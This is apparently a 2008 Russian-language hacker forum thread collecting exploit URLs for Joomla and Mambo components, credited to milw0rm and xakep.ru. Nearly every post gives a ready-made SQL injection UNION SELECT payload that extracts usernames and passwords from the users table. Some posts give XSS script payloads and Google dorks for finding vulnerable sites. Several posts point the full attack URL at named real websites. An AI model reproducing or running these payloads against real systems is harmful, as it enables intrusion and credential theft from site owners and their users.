index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

milw0rm

joomla SQL Injection(com_downloads)(filecatid)

DORKS 1: allinurl :"com_downloads"filecatid
EXPLOIT:

Код:

index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

milw0rm

Joomla Component Ynews 1.0.0

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

Код:

/index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1/* */union/**/select/**/0,1,2,username,password,5,6%20from%20jos_users/*

xakep.ru

it's my

06.02.2008 19:11

Component Ynews 1.0.0 SQL Injection Vulnerability

inurl: index.php?option=com_ynews
Инъекция:

Код:

index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1+union+select+0,1,2,concat(username,0x3a,password),null,5,6+from+jos_users/*

http://www.newpowersoul.de/index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1+union+select+0,1,2,concat(username,0x3a,password),null,5,6+from+jos_users/*

it's my

07.02.2008 16:42

Component PeopleBook 1.1.6 Passiv XSS

inurl: index.php?option=com_peoplebook
Инъекция:

Код:

/index.php?option=com_peoplebook&Itemid=661&func=searchstaff&Itemid=661&field=name&term=%22%3E%3Cscript%3Ealert(document.coockie)%3C/script%3E&submit=Go&search_status=%25&search_category=%25

http://www.fln.org/index.php?option=com_peoplebook&Itemid=661&func=searchstaff&Itemid=661&field=name&term=%22%3E%3Cscript%3Ealert(document.coockie)%3C/script%3E&submit=Go&search_status=%25&search_category=%25

примечание: XSS'ка работает, только при условии если в компоненте включен поиск.

(c) it's my

Добавлено 08.02.2008
----------------------
А вот это не знаю, что такое, но точно Активная XSS

Код:

http://www.pan-group.com/mambo4.6/index.php?option=com_guest&option=com_guest&task=show&pageid=1

Еще Пасивная XSS в компоненте Quote:

Код:

http://www.hlconveyancing.com/index.php?option=com_quote&task=instructUs&Itemid=49

во всех полях вводим "><script>alert(document.coockie)</script>

Component com_noticias 1.0 SQL Injection

inurl: index.php?option=com_noticias
Инъекция:

Код:

index.php?option=com_noticias&Itemid=999999&task=detalhe&id=-1+union+select+0,null,concat(username,0x3a,password),3,4,5+from+jos_users/*

http://www.cm-stirso.pt/index.php?option=com_noticias&Itemid=999999&task=detalhe&id=-1+union+select+0,null,concat(username,0x3a,password),3,4,5+from+jos_users/*

FraiDex

09.02.2008 00:17

SQL Injection

Mambo Component com_gallery Remote SQL Injection Vulnerability

Код:

EXPLOIT 1 :



index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*





EXPLOİT 2 :



index.php?option=com_gallery&Itemid=0&func=detail&id=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cpassword%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

SQL Injection

Joomla Component NeoGallery 1.1 SQL Injection Vulnerability

Код:

EXPLOIT :



index.php?option=com_neogallery&task=show&Itemid=5&catid=999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from%2F%2A%2A%2Fjos_users

milw0rm.com

CaNNabi$

10.02.2008 14:44

Mambo SQL Injection (com_comments)

Код:

index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1

http://www.milw0rm.com

Время: 20:46

Страница 1 из 5

Показывать 40 сообщений этой темы на одной странице